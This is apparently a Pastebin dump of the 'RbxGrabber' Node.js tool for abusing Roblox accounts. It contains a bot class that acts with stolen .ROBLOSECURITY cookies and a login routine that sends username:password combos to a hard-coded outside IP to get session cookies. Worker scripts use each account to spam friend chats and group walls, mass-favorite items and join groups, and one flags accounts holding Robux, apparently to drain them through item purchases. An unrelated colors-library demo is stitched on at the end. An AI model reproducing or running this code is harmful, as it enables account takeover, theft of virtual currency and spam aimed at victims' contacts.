Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- let request = require('request-promise'),
- randomToken = require('random-token'),
- cheerio = require('cheerio')
- process.setMaxListeners(1000000000);
- class rbxbot {
- constructor(cookie = '') {
- this.cookie = cookie;
- this.cuser = '';
- this.cpass = '';
- this.token = '';
- request = request.defaults({
- forever: true,
- agentOptions: {
- maxSockets: Infinity
- },
- simple: false,
- gzip: true,
- timeout: 15000
- });
- if (this.cookie === '') {
- this.session_based = false;
- } else {
- this.session_based = true;
- }
- }
- async create_device_handle() {
- try {
- let data = {
- "mobileDeviceId": randomToken(16).toLowerCase()
- }
- return await request({
- uri: 'https://api.roblox.com/device/initialize',
- method: 'POST',
- data: data,
- headers: {
- 'user-agent': 'Mozilla/5.0'
- },
- resolveWithFullResponse: true
- }).then((res) => {
- let body = JSON.parse(res.body);
- console.log(body);
- var devicehandle = tea.encrypt(JSON.stringify(body.browserTrackerId));
- return {success: true, browserTrackerId: body.browserTrackerId, device_handle: devicehandle};
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch (err) {
- return {success: false, error: err.message};
- }
- }
- async cookie_login(cookie) {
- try {
- if(!cookie || cookie === '' || cookie.split('_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_').length < 1) {
- throw new Error('Cookie is invalid!');
- } else {
- this.cookie = cookie;
- return {success: true}
- }
- } catch(error) {
- return {success: false, error: error.message};
- }
- }
- async login(username, password, hwid) {
- try {
- return await request(`http://54.39.87.168/APIs/secret/cookierefresh?username=${username}&password=${password}&hwid=${hwid}`, {
- method: 'POST',
- resolveWithFullResponse: true
- }).then((response)=>{
- //console.log(response.body);
- let body = JSON.parse(response.body);
- if(body.success === false) {
- throw new Error(body.message);
- }
- return {success: true, cookie: body.cookie};
- })
- .catch((err) => {
- //console.log(err.message);
- throw new Error(err.message);
- })
- } catch(err) {
- //console.log(err);
- try {
- let l = JSON.parse(err.message);
- if(l.errors[0].code === 8) return await this.login(username, password, hwid);
- err.message = l.errors[0].message;
- } catch (e) {
- }
- return {success: false, error: err.message};
- }
- }
- async user_info() {
- try {
- if(this.cookie === '') {
- throw new Error('You are not logged in!');
- }
- return await request('https://www.roblox.com/mobileapi/userinfo', {
- method: 'GET',
- headers: {
- 'Cookie': `.ROBLOSECURITY=${this.cookie};`
- },
- resolveWithFullResponse: true
- }).then((response) => {
- return {success: true, info: response.body};
- })
- .catch((err) => {throw new Error(err)})
- } catch(err) {
- return {success: false, error: err.message};
- }
- }
- async get_token() {
- try {
- return await request('https://api.roblox.com/sign-out/v1', {
- method: 'POST',
- headers: {
- 'Cookie': `.ROBLOSECURITY=${this.cookie};`
- },
- resolveWithFullResponse: true
- }).then((response) => {
- let token = response.headers['x-csrf-token'];
- if(token) {
- this.token = token;
- return {success:true,token:token};
- } else {
- throw new Error('Error thrown while trying to get token');
- }
- })
- } catch(err) {
- //console.log(err)
- return {success:false,error:err.message};
- }
- }
- async get_verification(url) {
- try {
- if(this.cookie === '') {
- throw new Error('You are not logged in!');
- }
- //await this.get_token();
- return await request({
- uri: url,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': `.ROBLOSECURITY=${this.cookie};`,
- 'user-agent': 'Mozilla/5.0'
- },
- resolveWithFullResponse: true,
- followRedirect: true
- }).then((response) => {
- //console.log(response);
- if(response.statusCode === 403) {
- this.get_token();
- return this.get_verification(url);
- }
- let $ = cheerio.load(response.body);
- var inputs = {};
- var match;
- //var done = false;
- var find = ['__VIEWSTATE', '__VIEWSTATEGENERATOR', '__EVENTVALIDATION', '__RequestVerificationToken'];
- for (var i = 0; i < find.length; i++) {
- var get = find[i];
- inputs[get] = $('input[name=' + get + ']').val();
- //console.log(inputs);
- }
- if (response.headers && response.headers['set-cookie']) {
- //console.log(response.headers);
- match = response.headers['set-cookie'].toString().match(/__RequestVerificationToken=(.*?);/);
- inputs["requestToken_header"] = match;
- }
- //console.log(inputs)
- return {success:true,verifications: inputs};
- }).catch((err) => {
- console.log(err);
- throw new Error(err);
- })
- } catch(err) {
- return {success:false,error:err.message};
- }
- }
- async configurePrice(assetid, price) {
- try {
- let asset = await this.getProductInfo(assetid);
- if(asset.success === false) throw new Error(asset.error);
- asset = asset.info;
- let verification = await this.get_verification('https://www.roblox.com/My/Item.aspx?ID=' + assetid);
- if(verification.success === false) throw new Error(verification.error);
- verification = verification.verifications;
- //console.log(assetid +'\m'+ price)
- var data = {
- __EVENTTARGET: 'ctl00$cphRoblox$SubmitButtonTop',
- ctl00$cphRoblox$DescriptionTextBox: asset.Description,
- ctl00$cphRoblox$NameTextBox: asset.Name,
- ctl00$cphRoblox$actualGenreSelection: asset.AssetTypeId || 1
- };
- data.ctl00$cphRoblox$SellThisItemCheckBox = 'on';
- data.ctl00$cphRoblox$SellForRobux = 'on';
- data.ctl00$cphRoblox$RobuxPrice = price;
- data.ctl00$cphRoblox$EnableCommentsCheckBox = 'on';
- var inputs = verification;
- for (var input in data) {
- inputs[input] = data[input];
- }
- var options = {
- uri: 'https://www.roblox.com/My/Item.aspx?ID=' + assetid,
- method: 'POST',
- form: inputs,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken + ';'
- },
- resolveWithFullResponse: true
- };
- //console.log(options);
- return await request(options)
- .then((response) => {
- //console.log(response);
- //process.exit();
- if(response.statusCode === 403) {
- this.get_token();
- return this.configurePrice(assetid, price);
- }
- if(response.statusCode === 200) {
- //console.log(response);
- return {success:true}
- } else {
- // console.log(response.body);
- //console.log(response);
- //console.log(this.cookie+'\n'+assetid+'\n'+info);
- throw new Error('Unknown error occured during configure')
- }
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch(err) {
- return {success: false, error: err.message};
- }
- }
- async favorite(assetid) {
- try {
- let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
- if(verification.success === false) throw new Error(verification.error);
- verification = verification.verifications;
- var options = {
- uri: 'https://www.roblox.com/favorite/toggle',
- method: 'POST',
- json: {'assetId':assetid},
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie+ ';__RequestVerificationToken=' + verification.__RequestVerificationToken + ';'
- },
- followRedirect: true,
- resolveWithFullResponse: true
- };
- return await request(options)
- .then((response) => {
- //throw new Error(JSON.stringify(response.body))
- if(response.statusCode === 403) {
- this.get_token();
- return this.favorite(assetid);
- }
- if(response.body.success === true) {
- return {success:true}
- } else {
- throw new Error(response.body.message);
- }
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch(err) {
- console.log(this.cookie);
- return {success: false, error: err.message};
- }
- }
- async delete(assetid) {
- try {
- let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
- if(verification.success === false) throw new Error(verification.error);
- verification = verification.verifications;
- var options = {
- uri: 'https://web.roblox.com/asset/delete-from-inventory',
- method: 'POST',
- formData: {'assetId':assetid},
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
- }
- };
- return await request(options)
- .then((response) => {
- if(response.statusCode === 403) {
- this.get_token();
- return this.delete(assetid);
- }
- if(response.statusCode === 200) {
- return {success: true};
- } else {
- //console.log(response)
- throw new Error('Unknown error occured while deleting');
- }
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch(error) {
- return {success: false, error: error.message};
- }
- }
- async buy(assetid, robux) {
- try {
- let product = await this.getProductInfo(assetid);
- if(product.success === false) throw new Error(product.error);
- product = product.info;
- //let verification = await this.get_verification('https://web.roblox.com/catalog/' + assetid);
- //if(verification.success === false) throw new Error(verification.error);
- //verification = verification.verifications;
- //console.log(verification);
- //console.log(product);
- let options = {
- uri: 'https://www.roblox.com/API/Item.ashx?rqtype=purchase&productID=' + product.ProductId + '&expectedCurrency=1&expectedPrice=' + robux+ '&expectedSellerID=' + product.Creator.Id + '&userAssetID=' + product.UserAssetId,
- method: 'POST',
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
- }
- };
- //console.log(options);
- //console.log(options);
- return await request(options)
- .then((response) => {
- if(response.statusCode === 403) {
- this.get_token();
- return this.buy(assetid, robux);
- }
- //console.log(response)
- let body = JSON.parse(response.body);
- //console.log(body);
- //console.log(body)
- let err = body.errorMsg;
- if (body.showDivID === 'InsufficientFundsView') {
- err = 'You need ' + Math.abs(body.balanceAfterSale) + ' more robux to purchase this item.';
- }
- if(!err) {
- if(body.TransactionVerb === 'bought') {
- return {success:true};
- } else {
- throw new Error('Unknown error occured while buying!');
- }
- } else {
- throw new Error(err);
- }
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch(err) {
- return {success:false, error: err.message};
- }
- }
- async getProductInfo(assetid) {
- try {
- return await request(`https://api.roblox.com/marketplace/productinfo?assetId=${assetid}`)
- .then(body => {
- return {success: true, info: JSON.parse(body)}
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch(err) {
- return {success: false, error: err.message};
- }
- }
- async join_group(gid) {
- try {
- let options = {
- uri: `https://www.roblox.com/groups/join-group-ajax`,
- method: 'POST',
- formData: {'id': gid},
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
- }
- };
- return await request(options)
- .then((res) => {
- //console.log(res.body);
- let body = JSON.parse(res.body)
- if(res.statusCode === 403) {
- if(Object.keys(body).length === 0 && body.constructor === Object){
- this.get_token();
- return this.join_group(gid);
- }
- if(body.success === false) {
- throw new Error(body.message);
- }
- }
- if(body.success === false) {
- throw new Error(body.message);
- }
- return {success:true}
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch (err) {
- return {success:false, error: err.message}
- }
- }
- async leave_group(gid) {
- try {
- let verification = await this.get_verification('https://www.roblox.com/My/Groups.aspx?gid=' + gid);
- if(verification.success === false) throw new Error(verification.error);
- verification = verification.verifications;
- var events = {
- 'ctl00$cphRoblox$ctl01': ''
- };
- for (var ver in events) {
- verification[ver] = events[ver];
- }
- let options = {
- uri: `https://www.roblox.com/My/Groups.aspx?gid=${gid}`,
- method: 'POST',
- form: verification,
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
- }
- };
- return await request(options)
- .then((res) => {
- //console.log(res.body);
- //let body = JSON.parse(res.body)
- if(res.statusCode === 403) {
- this.get_token();
- return this.join_group(gid);
- }
- if (res.statusCode !== 302 || !res.headers.location.endsWith('/My/Groups.aspx')) {
- throw new Error('Could not leave group!');
- }
- //console.log(res.body);
- return {success:true}
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch (err) {
- return {success:false, error: err.message}
- }
- }
- async get_groups_ply(userid) {
- try {
- let options = {
- uri: `https://api.roblox.com/users/${userid}/groups`,
- method: 'GET',
- resolveWithFullResponse: true,
- headers: {
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
- }
- };
- return await request(options)
- .then((res) => {
- return {success: true, groups: res.body};
- })
- .catch((err) => {
- throw new Error(err);
- });
- } catch(err) {
- return {success:false, error:err.message};
- }
- }
- async group_post(gid, message) {
- try {
- var events = {
- ctl00$cphRoblox$GroupWallPane$NewPost: message,
- ctl00$cphRoblox$GroupWallPane$NewPostButton: 'Post'
- };
- let verification = await this.get_verification('https://www.roblox.com/My/Groups.aspx?gid=' + gid);
- if(verification.success === false) throw new Error(verification.error);
- verification = verification.verifications;
- for (var ver in events) {
- verification[ver] = events[ver];
- }
- let options = {
- uri: `https://www.roblox.com/My/Groups.aspx?gid=${gid}`,
- method: 'POST',
- form: verification,
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';__RequestVerificationToken=' + verification.__RequestVerificationToken
- }
- };
- return await request(options)
- .then((res) => {
- //console.log(res.body);
- //let body = JSON.parse(res.body)
- if(res.statusCode === 403) {
- this.get_token();
- return this.join_group(gid);
- }
- if (res.statusCode !== 200 ) {
- throw new Error('Could not Post!');
- }
- //console.log(res.body);
- return {success:true}
- })
- .catch((err) => {
- throw new Error(err);
- })
- } catch (err) {
- return {success:false, error:err.message};
- }
- }
- async getConversations() {
- try {
- let options = {
- uri: `https://chat.roblox.com/v2/get-user-conversations?pageNumber=1&pageSize=9999999`,
- method: 'GET',
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
- }
- }
- return request(options)
- .then((res) => {
- if(res.statusCode === 403) {
- this.get_token();
- return this.getConversations();
- }
- let response = JSON.parse(res.body);
- return {success: true, conversations: response};
- })
- .catch(err => {
- throw new Error(err);
- })
- } catch (err) {
- return {success:false, error: err.message};
- }
- }
- async sendmsg(msg, convid) {
- try {
- let options = {
- uri: `https://chat.roblox.com/v2/send-message`,
- method: 'POST',
- json: {"conversationId":convid,"message":msg},
- resolveWithFullResponse: true,
- headers: {
- 'X-CSRF-TOKEN': this.token,
- 'Cookie': '.ROBLOSECURITY=' + this.cookie + ';'
- }
- }
- return request(options)
- .then((res) => {
- if(res.statusCode === 403) {
- this.get_token();
- return this.sendmsg(msg, convid);
- }
- if(res.statusCode === 200) {
- //console.log('ok');
- return {success: true};
- } else {
- return {success:false, error: 'Could not send message to Conversation!'};
- }
- })
- .catch(err => {
- throw new Error(err);
- })
- } catch (err) {
- //console.log(err.message);
- return {success:false, error: err.message};
- }
- }
- }
- module.exports = rbxbot;{"mode":33188,"size":19439,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let cookies = json.cookies;
- let assetid = json.assetid;
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let cookie = cookies[i];
- //console.log(cookie);
- if(cookie === ''){ throw new Error('Cookie is dead.')}
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- let favorite = await rbxbot.favorite(assetid);
- if(favorite.success === true) {
- log('Successfully favorited asset!', 'success');
- process.send({success:true,message:'favorite'});
- i++;
- return loop();
- } else {
- throw new Error(favorite.error)
- i++;
- return loop();
- }
- }catch(err){
- process.send({success:false})
- if(err.message === 'Error: You must be logged in to add this to your favorites. Please Login or Register to continue') {
- log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":2022,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let cookies = json.cookies;
- let groupid = json.groupid;
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let cookie = cookies[i];
- //console.log(cookie);
- if(cookie === ''){ throw new Error('Cookie is dead.')}
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- let group = await rbxbot.join_group(groupid);
- if(group.success === true) {
- if(group.pending) {
- log('Requested to join group!', 'success');
- i++;
- } else {
- process.send('joined');
- log('Successfully joined group!', 'success');
- i++;
- }
- return loop();
- } else {
- throw new Error(group.error)
- i++;
- return loop();
- }
- }catch(err){
- if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
- await log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- if(err.message.indexOf(`groups`) >= 0) {
- var msg = err.message.split(' is already a');
- var msg1 = msg[0].split('Error: User:');
- var userid = msg1[1];
- //console.log(msg1)
- if(!userid) {
- i++;
- return loop();
- }
- let groups_in = await rbxbot.get_groups_ply(userid);
- if(groups_in.success === false) await log(groups_in.error, 'failure');
- groups_in = JSON.parse(groups_in.groups);
- //console.log(groups_in[0].Id);
- if(groups_in.length <= 0) {
- i++;
- return loop();
- }
- let leave = await rbxbot.leave_group(groups_in[0].Id);
- if(leave.success === false) {
- await log(leave.error, 'failure');
- i++;
- return loop();
- }
- return loop();
- }
- await log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":2974,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- function random(min, max) {
- return Math.floor(Math.random() * (max - min + 1) ) + min;
- }
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let cookies = json.cookies;
- let message = json.message;
- //console.log(message);
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let cookie = cookies[i];
- //console.log(cookie);
- if(cookie === ''){ throw new Error('Cookie is dead.')}
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- let convos = await rbxbot.getConversations();
- if(convos.success === false) {
- throw new Error(convos.error);
- }
- convos = convos.conversations;
- var c = 0;
- console.log(cookie);
- if(convos.length <= 0) throw new Error('User has no friend chats!');
- async function send(){
- if(convos.length > c) {
- try{
- let convo = convos[c];
- let sendmsg = await rbxbot.sendmsg(message, convo.id);
- if(sendmsg.success === false) throw new Error(sendmsg.error);
- process.send({success: true,type:'message', value: convo.participants.length - 1});
- log(`Successfully sent message to chat ${convo.title} with ${convo.participants.length - 1} members!`, 'success');
- c++;
- return send();
- }catch(err){
- process.send({success: false, type:'regular'});
- if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
- await log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- if(err.message === 'Could not send message to Conversation!') {
- await log('Broken user, Skipping.', 'normal');
- i++;
- loop();
- }
- await log(err.message, 'failure');
- i++;
- return send();
- }
- } else {
- i++;
- c = 0;
- process.send({success: true,type:'regular'});
- return loop();
- }
- }
- send();
- }catch(err){
- process.send({success: false, type:'regular'});
- if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
- await log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- await log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":3404,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let cookies = json.cookies;
- let assetid = json.assetid;
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let cookie = cookies[i];
- //console.log(cookie);
- if(cookie === ''){ throw new Error('Cookie is dead.')}
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- console.log('before');
- let favorite = await rbxbot.follow(assetid);
- console.log('after');
- if(favorite.success === true) {
- log('Successfully Followed Player!', 'success');
- process.send({success:true,message:'favorite'});
- i++;
- return loop();
- } else {
- throw new Error(favorite.error)
- i++;
- return loop();
- }
- }catch(err){
- if(err.message === 'Error: You must be logged in to add this to your favorites. Please Login or Register to continue') {
- await log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- process.send({success:false})
- await log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":2093,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- var l = 0;
- var narray = [];
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- var newDeviceHandle = async () => {
- await narray.splice(l, 1);
- l = Math.floor(Math.random() * narray.length);
- return;
- };
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let combos = json.combos;
- let hwid = json.hwid;
- var i = 0;
- async function loop(){
- if(combos.length > i) {
- try{
- let combo = combos[i];
- //console.log(cookie);
- if(combo === ''){ throw new Error('Blank combo found')}
- combo = combos[i].split(':');
- if(combo.length < 1) throw new Error('Blank combo found');
- let login = await rbxbot.login(combo[0], combo[1], hwid);
- if(login.success === false) {
- throw new Error(login.error);
- }
- process.send({success:true, type: 'checked', cookie: login.cookie});
- i++;
- log('Successfully refreshed '+combo[0]+'!', 'success');
- return loop();
- }catch(err){
- //console.log(err);
- process.send({success:false, type: 'failure'})
- await log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":1952,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (cookies) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- //const removeCookie = require('./removecookie.js');
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let cookie = cookies[i];
- if(cookie === '') throw new Error('Cookie is blank');
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- let info = await rbxbot.user_info();
- if(info.success === false) throw new Error(info.error);
- info = JSON.parse(info.info);
- if(info.RobuxBalance >= 5) {
- await fs.readFile('settings.txt', 'utf8', async (err, data) => {
- if(err) throw new Error(err);
- var array = data.split(os.EOL);
- //console.log(array);
- var guser = array[0].split('=')[1];
- var gpass = array[1].split('=')[1];
- var assetid = array[3].split('=')[1];
- var mcookie = array[4].split('=')[1];
- let rdel = await rbxbot.delete(assetid);
- if(rdel.success === true) {
- process.send({success: true, mcookie: mcookie, assetid: assetid, info: info, cookie: cookie});
- i++;
- return loop();
- } else {
- throw new Error(rdel.error);
- }
- });
- //console.log(info.RobuxBalance);
- } else {
- //console.log(info.RobuxBalance);
- await log('User has less than 5 robux!', 'normal');
- process.send({success: false});
- i++;
- return loop();
- }
- }catch(err){
- if(err.message === 'Unexpected token < in JSON at position 4') {
- await log('Cookie is dead.', 'failure');
- i++;
- process.send({success: false, dead: true, cookie: cookies[i]});
- return loop();
- }
- await log(err.message, 'failure');
- i++;
- process.send({success: false});
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- }){"mode":33188,"size":2871,"isFileValue":true,"isDirectoryValue":false}
- var os = require('os');
- const colors = require('colors');
- const fs = require('fs');
- const success = 'Success >> '.green.bold;
- const failure = 'Failure >> '.red;
- const normal = 'Normal >> '.cyan;
- var start_prompt = 'RbxGrabber >> '.red.bold;
- function random(min, max) {
- return Math.floor(Math.random() * (max - min + 1) ) + min;
- }
- var log = (msg, type='') => {
- switch(type){
- case "success":
- console.log('RbxGrabber >> '.red.bold + success + msg);
- break;
- case "failure":
- console.log('RbxGrabber >> '.red.bold + failure + msg);
- break;
- case "normal":
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- default:
- console.log('RbxGrabber >> '.red.bold + normal + msg);
- break;
- }
- }
- process.setMaxListeners(10000000);
- process.on('message', async (json) => {
- const source = require('../utils/rbxbot.js');
- const rbxbot = new source();
- let cookies = json.cookies;
- let groupids = json.groupids;
- let messages = json.messages;
- var i = 0;
- async function loop(){
- if(cookies.length > i) {
- try{
- let message = messages[random(0, messages.length - 1)];
- let cookie = cookies[i];
- let groupid = groupids[random(0, groupids.length -1)];
- //console.log(cookie);
- if(cookie === ''){ throw new Error('Cookie is dead.')}
- let login = await rbxbot.cookie_login(cookie);
- if(login.success === false) {
- throw new Error(login.error);
- }
- //console.log(groupid);
- let group = await rbxbot.join_group(groupid);
- if(group.success === false) {
- if(group.error.indexOf('a member of group:'+groupid) >= 0) {
- }else{
- throw new Error(group.error);
- }
- }
- if(group.pending) {
- log('Requested to join group!', 'success');
- i++;
- return loop();
- } else {
- log('Successfully joined group!', 'success');
- let grouppost = await rbxbot.group_post(groupid, message);
- if(grouppost.success === false) throw new Error(grouppost.error);
- log('Successfully posted message', 'success');
- let leaveaf = await rbxbot.leave_group(groupid);
- if(leaveaf.success === false) throw new Error(leaveaf.error);
- log('Successfully left Group', 'success');
- }
- i++;
- process.send('group');
- return loop();
- }catch(err){
- if(err.message === 'SyntaxError: Unexpected token < in JSON at position 0') {
- await log('Cookie is dead.', 'failure');
- i++;
- return loop();
- }
- if(err.message.indexOf(`groups`) >= 0) {
- var msg = err.message.split(' is already a');
- var msg1 = msg[0].split('Error: User:');
- var userid = msg1[1];
- //console.log(msg1)
- if(!userid){
- i++;
- return loop;
- }
- let groups_in = await rbxbot.get_groups_ply(userid);
- if(groups_in.success === false) await log(groups_in.error, 'failure');
- groups_in = JSON.parse(groups_in.groups);
- //console.log(groups_in[0].Id);
- if(groups_in.length < 0) {
- i++;
- return loop();
- }
- let leave = await rbxbot.leave_group(groups_in[0].Id);
- if(leave.success === false) {
- await log(leave.error, 'failure');
- i++;
- return loop();
- }
- return loop();
- }
- await log(err.message, 'failure');
- i++;
- return loop();
- }
- } else {
- return process.exit(1);
- }
- }
- loop();
- })
- const request = require('request');
- module.exports = (amount, hwid) => {
- return new Promise((resolve, reject) => {
- var options = {
- uri: `http://54.39.87.168/APIs/secret/updatetotal?amount=${amount}&hwid=${hwid}`,
- method: 'POST'
- }
- request(options, (err, res, body) => {
- if(err) return reject(err);
- var json = JSON.parse(body);
- if(json.success === true) {
- resolve(json.message);
- } else {
- reject(json.message);
- }
- });
- })
- };{"mode":33188,"size":498,"isFileValue":true,"isDirectoryValue":false}["rbxgrabber.js","hwidcheck.js","checksettings.js","getcookies.js","getcombos.js","buy.js","favorite.js","group.js","message-spam.js","follow.js","login.js","checkcookies.js","group_spam.js"]{"mode":16877,"size":0,"isFileValue":false,"isDirectoryValue":true}var colors = require('../lib/index');
- console.log('First some yellow text'.yellow);
- console.log('Underline that text'.yellow.underline);
- console.log('Make it bold and red'.red.bold);
- console.log(('Double Raindows All Day Long').rainbow);
- console.log('Drop the bass'.trap);
- console.log('DROP THE RAINBOW BASS'.trap.rainbow);
- // styles not widely supported
- console.log('Chains are also cool.'.bold.italic.underline.red);
- // styles not widely supported
- console.log('So '.green + 'are'.underline + ' ' + 'inverse'.inverse
- + ' styles! '.yellow.bold);
- console.log('Zebras are so fun!'.zebra);
- //
- // Remark: .strikethrough may not work with Mac OS Terminal App
- //
- console.log('This is ' + 'not'.strikethrough + ' fun.');
- console.log('Background color attack!'.black.bgWhite);
